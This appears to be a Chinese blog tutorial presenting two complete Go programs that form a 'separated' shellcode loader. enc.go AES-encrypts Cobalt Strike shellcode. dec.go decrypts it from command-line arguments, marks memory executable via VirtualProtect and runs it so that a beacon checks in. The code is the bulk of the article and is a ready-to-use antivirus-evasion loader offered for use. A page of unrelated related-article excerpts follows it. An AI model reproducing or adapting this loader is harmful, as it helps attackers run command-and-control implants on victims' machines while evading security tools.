当前位置: 首页 > news >正文

Golang-分离式加载器(传参)AES加密

目录

enc.go

生成: 

dec.go

 --执行dec.go...--上线

 


cs生成个c语言的shellcode.

enc.go

go run .\enc.go shellcode

生成: 

 

--key为公钥.

--code为AES加密后的数据, 

----此脚本每次运行key和code都会变化.

package mainimport ("bytes""crypto/aes""crypto/cipher""encoding/base64""encoding/hex""fmt""math/rand""os""strings""time"
)//随机生成key,后面用来解密的
func key(l int) string {str := "0123456789abcdefghijklmnopqrstuvwxyz"bytes := []byte(str)result := []byte{}r := rand.New(rand.NewSource(time.Now().UnixNano()))for i := 0; i < l; i++ {result = append(result, bytes[r.Intn(len(bytes))])}return string(result)
}//使用PKCS5进行填充用来
func PKCS5Padding(ciphertext []byte, blockSize int) []byte {padding := blockSize - len(ciphertext)%blockSizepadtext := bytes.Repeat([]byte{byte(padding)}, padding)return append(ciphertext, padtext...)
}//进行aes加密
func AesEncrypt(origData, key []byte) ([]byte, error) {block, err := aes.NewCipher(key)if err != nil {return nil, err}blockSize := block.BlockSize()origData = PKCS5Padding(origData, blockSize)blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])crypted := make([]byte, len(origData))blockMode.CryptBlocks(crypted, origData)return crypted, nil
}//主函数入口,对字符进行了处理
func main() {argsWithProg := os.Argsif len(argsWithProg) < 2 {fmt.Println("usage : ", argsWithProg[0], " paylaod.c")return}confFile := os.Args[1]str2 := strings.Replace(confFile, "\\x", "", -1)data, _ := hex.DecodeString(str2)key1 := key(16)fmt.Println("Key:", key1)var key []byte = []byte(key1)aes, _ := AesEncrypt(data, key)encoded := base64.StdEncoding.EncodeToString(aes)fmt.Println("Code:", encoded)
}

dec.go

go run ./dec.go key code

--key,code都是上面生成的. 

package mainimport ("crypto/aes""crypto/cipher""encoding/base64""os""syscall""unsafe"
)// 这一块是定义一些东西去加载我们的shellcode
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {ret, _, _ := procVirtualProtect.Call(uintptr(lpAddress),uintptr(dwSize),uintptr(flNewProtect),uintptr(lpflOldProtect))return ret > 0
}// shellcode执行函数
func Run(sc []byte) {f := func() {}var oldfperms uint32if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {panic("Call to VirtualProtect failed!")}**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))var oldshellcodeperms uint32if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {panic("Call to VirtualProtect failed!")}f()
}// 同样为了保证我们的shellcode正常运行要进行PKCS5的操作
func PKCS5UnPadding(origData []byte) []byte {length := len(origData)unpadding := int(origData[length-1])return origData[:(length - unpadding)]
}// 经典的aes解密操作
func AesDecrypt(crypted, key []byte) ([]byte, error) {block, err := aes.NewCipher(key)if err != nil {return nil, err}blockSize := block.BlockSize()blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])origData := make([]byte, len(crypted))blockMode.CryptBlocks(origData, crypted)origData = PKCS5UnPadding(origData)return origData, nil
}// 运行主函数,主要是接受参数进行base64解码,ase解码,运行shellcode
func main() {key1 := os.Args[1]payload1 := os.Args[2]encoded2, _ := base64.StdEncoding.DecodeString(payload1)var key []byte = []byte(key1)AES, _ := AesDecrypt(encoded2, key)Run(AES)
}

 --执行dec.go...--上线

 

 

相关文章:

Golang-分离式加载器(传参)AES加密

目录 enc.go 生成: dec.go --执行dec.go...--上线 cs生成个c语言的shellcode. enc.go go run .\enc.go shellcode 生成: --key为公钥. --code为AES加密后的数据, ----此脚本每次运行key和code都会变化. package mainimport ("bytes""crypto/aes"&…...

速览三版HTTP的改进策略

HTTP&#xff08;Hypertext Transfer Protocol&#xff09;是互联网通信的基础协议&#xff0c;自从其第一个版本推出以来&#xff0c;经历了多个版本的改进&#xff0c;每个版本都针对之前的不足进行了优化和增强。以下是HTTP/1.1、HTTP/2和HTTP/3的主要改进总结&#xff1a; …...

window.open(“.html“,“_blank“) 执行是下载,并没有打开新窗口显示html

window.open() 方法在浏览器中打开一个新窗口或者新标签页。如果你的 .html 文件被下载而不是在新窗口中打开&#xff0c;那可能是因为服务器的响应头设置了 Content-Disposition: attachment&#xff0c;这会导致浏览器把响应的内容作为一个文件下载。 如果你有权限修改服务器…...

【QT5.14.2】编译MQTT库example的时候报No such file or directory

【QT5.14.2】编译MQTT库example的时候报No such file or directory 前几天导师让跑一下MQTT库&#xff0c;用的5.14.2版本的QT&#xff0c;于是就上网搜了一个教程&#xff1a;https://www.bilibili.com/video/BV1dH4y1e7hG/?spm_id_from333.337.search-card.all.click&v…...

【数据结构】前缀树(字典树)汇总

基础 {“a”,“abc”,“bac”,“bbc”,“ca” }的字典树如下图&#xff1a; 最主用的应用&#xff1a;一&#xff0c;字符串编码。二&#xff0c;位运算。 字符串编码 相比利用哈希映射编码&#xff0c;优点如下&#xff1a; 依次查询长度为n的字符串s的前缀时间复杂度是O(…...

Linux:基础开发工具

文章目录 Linux 软件包管理器 yum什么是软件包关于rzsz查看软件包安装软件卸载软件安装扩展源 Linux 编辑器 vimvim的基本概念正常/普通/命令模式(Normal mode)插入模式(Insert mode)底行模式(last line mode) vim的基本操作[命令模式]切换至[插入模式][插入模式]切换至[命令模…...

HarmonyOS NEXT Push接入

接入HarmonyOS NEXT Push 推送功能&#xff0c;相比于 Android 真的是简单太多。不再需要适配接入各个厂家的推送 SDK&#xff0c;真是舒服。 1.开通推送服务与配置Client ID 1.1 创建应用获取Client ID 按照官方文档来就可以了&#xff1a;https://developer.huawei.com/co…...

如何快速入门Element-UI:打造高效美观的前端界面

Element-UI 是一款基于 Vue.js 的开源组件库,提供了丰富的 UI 组件,可以帮助开发者快速构建美观、响应式的前端界面。本文将详细介绍如何快速入门 Element-UI,包括环境搭建、组件使用、样式定制及常见问题解决方法,帮助你高效地使用 Element-UI 进行前端开发。 一、环境搭…...

Langchain的向量存储 - Document示例代码里的疑问

文章目录 前言一、语句分析二、 举例解释三、 完整代码总结 前言 之前的代码里有下面这句话&#xff0c;可能有看不明白的读者。 vectors [embeddings.embed(doc.page_content) for doc in docs]今天一起来看下这句话。 一、语句分析 这句话实际上是一个列表推导式&#x…...

Docker 教程-介绍-2

快速了解docker有什么。 Docker简介 Docker 是一个开源的应用容器引擎&#xff0c;基于Go语言开发&#xff0c;并遵循Apache 2.0协议。它允许开发者将应用及其依赖包打包进一个可移植的容器中&#xff0c;这些容器可以发布到任何支持Docker的Linux或Windows机器上&#xff0c…...

【2024最新华为OD-C/D卷试题汇总】[支持在线评测] 伐木工(200分) - 三语言AC题解(Python/Java/Cpp)

🍭 大家好这里是清隆学长 ,一枚热爱算法的程序员 ✨ 本系列打算持续跟新华为OD-C/D卷的三语言AC题解 💻 ACM银牌🥈| 多次AK大厂笔试 | 编程一对一辅导 👏 感谢大家的订阅➕ 和 喜欢💗 📎在线评测链接 伐木工(200分) 🌍 评测功能需要订阅专栏后私信联系清隆解…...

UltraScale+系列模块化仪器,可以同时用作控制器、算法加速器和高速数字信号处理器

基于 XCZU7EG / XCZU4EG / XCZU2EG • 灵活的模块组合 • 易于嵌入的紧凑型外观结构 • 高性能的 ARM Cortex 处理器 • 成熟的 FPGA 可编程逻辑 &#xff0c;基于 IP 核的软件库 基于 Xilinx Zynq UltraScaleMPSoC 的 FPGA 技术&#xff0c;采用 Xilinx Zynq UltraScale&a…...

Python与其他编程语言(如Java、C++)相比有哪些优势?

一、技术难点 在探讨Python与其他编程语言相比的优势时&#xff0c;技术难点在于如何全面、准确地把握并阐述这些优势。这需要对Python、Java、C等编程语言有深入的理解&#xff0c;包括它们的语法特性、应用领域、性能特点、开发效率等。 首先&#xff0c;Python的语法简洁明…...

Edge浏览器双击关闭标签页,双击关闭浏览器选项卡

设置》外观》自定义浏览器&#xff0c;开启“使用双击关闭浏览器选项卡” 设置里面搜索“双击”&#xff0c;这是最快的方式 鼠标滚轮单击 或者进入“设置”-“辅助功能” 呼吁已久的功能来了&#xff01;Edge浏览器双击关闭标签页功能上线新 国产浏览器大多都有双击关闭标签页…...

C++ 贪心算法——跳跃游戏、划分字母区间

一&#xff1a;跳跃游戏 55. 跳跃游戏 题目描述&#xff1a;给你一个非负整数数组 nums &#xff0c;你最初位于数组的 第一个下标 。数组中的每个元素代表你在该位置可以跳跃的最大长度。判断你是否能够到达最后一个下标&#xff0c;如果可以&#xff0c;返回 true &#xff1…...

汽车数据应用构想(三)

上期说的&#xff0c;用数据去拟合停车信息的应用&#xff0c;那么类似的POI信息相关的场景其实都可以实现。今天讲讲用户使用频率也很高的加油/充电场景。 实际应用中&#xff0c;在加油场景中用户关心的通常还是价格。无论是导航还是各种加油APP/小程序&#xff0c;都已经很…...

体素技术在AI绘画中的革新作用

随着人工智能技术的不断进步&#xff0c;AI绘画已经成为艺术创作和视觉设计领域的一大趋势。在众多推动AI绘画发展的技术中&#xff0c;体素技术以其独特的优势&#xff0c;正在逐渐改变着我们对计算机生成图像的认识。本文旨在探讨体素技术在AI绘画中的应用与影响&#xff0c;…...

Leetcode.866 回文质数

题目链接 Leetcode.866 回文质数 rating : 1938 题目描述 给你一个整数 n n n &#xff0c;返回大于或等于 n n n 的最小 回文质数。 一个整数如果恰好有两个除数&#xff1a; 1 1 1 和它本身&#xff0c;那么它是 质数 。注意&#xff0c; 1 1 1 不是质数。 例如&#xf…...

【论文阅读】Point2RBox (CVPR’2024)

paper:https://arxiv.org/abs/2311.14758 code:https://github.com/yuyi1005/point2rbox-mmrotate...

深度学习的点云分割

深度学习的点云分割 点云分割是计算机视觉中的一个重要任务&#xff0c;特别是在三维数据处理和分析中。点云数据是由大量三维点构成的集合&#xff0c;每个点包含空间坐标&#xff08;x, y, z&#xff09;&#xff0c;有时还包含其他信息如颜色和法向量。点云分割的目标是将点…...

实测Taotoken平台API调用稳定性与延迟体感观察记录

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 实测Taotoken平台API调用稳定性与延迟体感观察记录 在将大模型能力集成到生产应用时&#xff0c;服务的稳定性和响应延迟是开发者关…...

后端程序员必看:3-6个月从0到1转型高薪AI应用

本文针对传统后端程序员想转型AI应用开发的焦虑&#xff0c;提出了一条省时、高薪、稳定的转型路线。文章指出&#xff0c;转型AI应用开发的核心是复用后端优势&#xff0c;走“后端AI集成”的复合型路线&#xff0c;而非死磕底层算法。文章详细规划了3-6个月的转型路线&#x…...

ాలుWindows上的安卓应用安装器APK Installer:打破平台壁垒的轻量级解决方案

#ాలుWindows上的安卓应用安装器APK Installer&#xff1a;打破平台壁垒的轻量级解决方案 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 在数字生态日益多元化的今天…...

EdgeRemover技术深度解析:Windows系统级浏览器管理解决方案

EdgeRemover技术深度解析&#xff1a;Windows系统级浏览器管理解决方案 【免费下载链接】EdgeRemover A PowerShell script that correctly uninstalls or reinstalls Microsoft Edge on Windows 10 & 11. 项目地址: https://gitcode.com/gh_mirrors/ed/EdgeRemover …...

LabVIEW数字IO编程避坑指南:单点采样、连续采样到底怎么选?NI-MAX测试面板帮你验证

LabVIEW数字IO编程实战&#xff1a;采样模式选择与NI-MAX验证全攻略 在工业自动化测试领域&#xff0c;LabVIEW的数字IO模块是最基础也最常用的功能之一。许多工程师在初次接触数字IO编程时&#xff0c;往往会被各种采样模式搞得晕头转向——单点采样、N采样、连续采样&#xf…...

小熊猫Dev-C++:5个理由让你爱上这款轻量级C++开发工具

小熊猫Dev-C&#xff1a;5个理由让你爱上这款轻量级C开发工具 【免费下载链接】Dev-CPP A greatly improved Dev-Cpp 项目地址: https://gitcode.com/gh_mirrors/dev/Dev-CPP 在C编程的世界里&#xff0c;寻找一个既功能强大又简单易用的开发环境常常让初学者望而却步。…...

Thorium浏览器终极指南:如何打造最快的Chromium分支浏览器

Thorium浏览器终极指南&#xff1a;如何打造最快的Chromium分支浏览器 【免费下载链接】thorium Chromium fork named after radioactive element No. 90. Source code and Linux releases. Windows/MacOS/ARM builds served in different repos, links are towards the top of…...

“腾讯给 DeepSeek 出资 60 亿,占约 2% 股权。另一家巨头未入局”

最近 DeepSeek 首轮外部融资的消息&#xff0c;引发全网关注&#xff0c;各种消息满天飞咯。①在 5 月 9 日的「DeepSeek 和阿里谈崩了」留言区&#xff0c;就有读者提到“腾讯曾提出认购最多 20% 股份&#xff0c;但因比例过高被婉拒。”今天又刷到鹅厂出资信息的另外一个版本…...

基于MCP协议的Kubernetes智能运维助手:lazymac-k-mcp项目详解

1. 项目概述&#xff1a;一个为Kubernetes而生的MCP服务器如果你和我一样&#xff0c;日常工作中有一大半时间都在和Kubernetes集群打交道&#xff0c;那么你肯定对kubectl命令行工具又爱又恨。爱的是它功能强大&#xff0c;是操作K8s的瑞士军刀&#xff1b;恨的是它命令繁多&a…...

控制流验证与硬件性能计数器的融合技术解析

1. 控制流验证与硬件性能计数器的融合在当今云计算和边缘计算环境中&#xff0c;可信执行环境&#xff08;TEE&#xff09;已成为保护敏感数据的关键技术。然而&#xff0c;传统的静态验证方法存在一个致命缺陷——它们无法防御运行时攻击。想象一下&#xff0c;你给朋友寄了一…...